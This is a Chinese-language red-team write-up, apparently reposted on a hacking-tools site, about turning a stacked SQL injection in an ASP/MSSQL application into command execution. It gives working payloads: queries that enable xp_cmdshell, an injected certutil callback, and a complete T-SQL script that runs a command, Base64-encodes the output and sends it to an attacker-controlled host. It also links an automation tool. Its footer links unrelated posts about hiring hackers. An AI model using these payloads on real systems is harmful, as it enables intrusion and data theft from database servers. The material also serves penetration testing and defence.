红队故事0x01:从MSSQL到命令执行

访客4年前黑客工具1017

  从一个MSSQL再到命令执行的思考。

  红队识别出了一个易受SQL注入攻击的外围资产(ASP/MSSQL)。通过此漏洞有可能在目标服务器上执行命令,但需要特殊的 *** 绕过命令过滤策略,从而获得命令的输出。

  0x01、堆叠查询

  其中所涉及的环境是一个使用Microsoft SQL Server作为数据库的ASP应用程序。

  漏洞的发现

  因为在插入单引号(‘)时,页面上会显示ODBC驱动程序缺少结束引号。多次尝试SQL查询或表达式(例如:使用“+”运算符连接),都是失败的,我们认为注入点是存储过程中调用的一个参数。为了验证这一点,我们尝试通过注入逗号来引入新的参数,这会因为参数过多而引起错误。

  image.png因为参数过多而引起错误

  正如官方文档所规定的,存储过程的参数必须是常数或变量。因此我们无法使用典型的Union联合注入或盲注。替代 *** :使用堆叠注入,默认情况下ASP/MSSQL是支持堆叠注入的。

  堆叠注入

  堆叠注入:在执行一次查询时,通过分号(;)字符分隔,执行两条或更多的SQL语句。因此,我们可以使用基于时间的盲注从数据库中获取到信息:

  image.png

  基于时间的盲注从数据库中获取到信息

  但在这种情况下,Web应用程序没有权限查询更多的关键信息。因此我们继续研究别的 *** ,例如:命令执行。

  红队故事0x01:从MSSQL到命令执行https://www.secpulse.com/archives/75851.html

  命令执行

  在MSSQL中,有一个常用的存储过程xp_cmdshell,它接收一个Windows命令,运行它并将结果以文本行的格式返回。但问题是,在这样的场景中,输出是永远不会被转储给用户,也就是说用户是看不到返回的结果的。因此,要验证命令是否正确执行,可以使用Windows中的默认实用程序: certutil.exe。

  这个命令最初是用来管理证书的,但对红队的工作有很大的帮助,原因有很多:

  它是由Microsoft默认安装的二进制文件。

  它允许建立HTTP/s连接并且是proxy-aware(使用系统中配置的 *** )。

  它允许在Base64或十六进制中编码/解码。

  在我们的场景中,我们运用它向我们控制的web服务器发出HTTP/s请求,确认我们的命令是否被执行。

  ';EXEC xp_cmdshell 'certutil.exe -urlcache -f http://example.com'

  image.png

  服务器上有一个User-Agent请求“CertUtil URL Agent

  虽然最常见的是应用程序的用户没有权限来执行存储过程xp_cmdshell (默认禁用),但由于配置错误,我们可以激活它。在这种情况下,使用以下查询来激活:

  exec sp_configure 'show advanced options', 1;

  reconfigure;

  exec sp_configure 'xp_cmdshell', 1;

  reconfigure;

  exec sp_configure 'show advanced options', 0;

  reconfigure;

  或

  EXEC sp_configure 'show advanced options', 1 ; reconfigure;

  EXEC exec sp_configure 'xp_cmdshell', 1 ; reconfigure;

  至此, ,我们已经可以看到如何绕过命令过滤策略,获得命令的输出。

  0x02、传送数据的加密/解密

  此时,我们已经可以执行系统命令,并向我们控制的Wbe服务器发出HTPP/s请求。综合以上两点,我们就可以通过https://redteam/[informacion_code]来获取信息。

  在这种情况下,我们选择Bsae64编码而不是十六进制,因为我们需要数据库允许我们以更少的字符存储更多的信息。

  我们应该遵循以下几点:

  1.声明一个“表”类型的变量,让返回的结果保存在存储过程xp_cmdshell中(记住,返回的结果是多行的)。

  2.将命令的输出结果存储到上一个变量中。

  3.连接“表”的SQL语句,用换行符分割。

  4.将生成的字符串编码为Base64,并将其保存在一个变量中。

  5.生成certutil命令,将字符串添加到结果中。

  6.执行

  在T-SQL中没有办法直接执行第三步和第四步,但有两个小技巧来解决这个问题:

  无法使用MySQL的函数,因此所有字符串的连接都使用FOR XML子句。这样,就可以以单个字符串(XML)的形式获取数据。

  SELECT columna+char(10) as 'text()' FROM tabla FOR XML path('') -- Se concatena un salto de linea al final de cada fila - char(10)

  另一方面,也没有 *** 直接将字符串转换为Base64,但可以将Base64转换成二进制数据。因此,解决方案是将之前的字符串转换成二进制数据:

  SELECT cast('tarlogic' AS varbinary(max)) FOR XML path(''), BINARY BASE64

  实现这一编码,还有其他的选择,比如使用XQuery。

  将所有的步骤放在一起就会发现和T-SQL十分的相似:

  declare @r varchar(4120),@cmdOutput varchar(4120);

  declare @res TABLE(line varchar(max));

  insert into @res exec xp_cmdshell 'COMANDO';

  set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64);

  set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput);

  exec xp_cmdshell @r;

  在读取包含命令结果的表的过程中,我们需要考虑到排序规则。

  image.pngBase64命令输出的请求文件

  此外,在解码Base64时必须考虑到在Windows中命令的输出将以Unicode方式表示。

  0x03、自动化

  这个过程被我们成功的实现了一遍,所以我们可以让它自动化的执行。为此,开发了一种工具,它为用户提供了一个提示符。然后,它生成必要的负载来运行它,同时部署一个可以接收结果的web服务器。最后,自动解码并显示出来。

  image.png

  自动化工具

  该工具的代码作为概念测试,可在以下链接中找到: https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py

  0x04、结论

  我们已经看到,没有对外围资产进行关键的信息处理的结果,就是它让红队能够将其转变为目标的内部 *** 。因此,重要的是要考虑到对这种类型漏洞的过滤强化和预警,而不仅仅是对漏洞的定期审计。

  红队故事0x01:从MSSQL到命令执行

  https://www.secpulse.com/archives/75851.html

相关文章

黑客如何找攻击目标-黑客一般用什么系统(黑客适合用什么系统的笔记本)

黑客如何找攻击目标-黑客一般用什么系统(黑客适合用什么系统的笔记本)

黑客如何找攻击目标相关问题 黑客系统有哪些相关问题 中国黑客简称什么意思 1元手机定位(手机怎么定位找人) 什么...

找黑客攻破网络幸运彩票系统-黑客会攻击个人电脑吗(如何攻击个人电脑)

找黑客攻破网络幸运彩票系统-黑客会攻击个人电脑吗(如何攻击个人电脑)

找黑客攻破网络幸运彩票系统相关问题 为什么黑客能窃取我们的信息相关问题 快递是怎么拉黑客户 黑客零基础入门的客术书(零基础怎么成为黑客)...

华为手机怎样长截屏

1、开启必须截屏的页面。2、往下拉上边的工具栏。3、点一下手机截图标志。4、点一下截屏。5、滚动截屏。6、点一下翻转地区进行手机截图。7、最终点一下储存就可以。 知名品牌型号规格:华为公司P40 系统...

脸上有斑点怎么办?针对治疗,快速消除有方法

脸上有斑点怎么办?针对治疗,快速消除有方法

脸上莫名出现的一些斑斑点点,相信是不少爱美女性的苦恼。因为长斑,连芝麻都不敢再吃了的王姐,更是深受其害。 今天,丁香医生就请来了专业医生,给大家讲讲脸上斑斑点点那些事儿。 一、斑,是怎么来的?...

晚上磨牙是怎么回事?磨牙是5种原因导致的

晚上磨牙是怎么回事?磨牙是5种原因导致的

晚上入睡后,有些人会打呼噜,也有人会磨牙,关于睡觉打呼噜,想必大家已经了解不少,但是睡觉磨牙又是怎么回事呢? 睡觉磨牙怎么回事 夜间磨牙,是由面颊部的咀嚼肌在神经支配下收缩而引起的。按理来说,...

光明如实和明治保加利亚酸奶哪个好 适合宝宝的酸奶牌子有哪些

总算写到酸牛奶了,能够在欠帐的帐簿里划去一笔了,我要去企业周边的711和BHG买来一堆酸牛奶回家,也有一些大伙儿常问的沒有的,就要在网上收集了一圈材料,这篇写完自己学习培训到许多 ,期待也可以对大伙儿...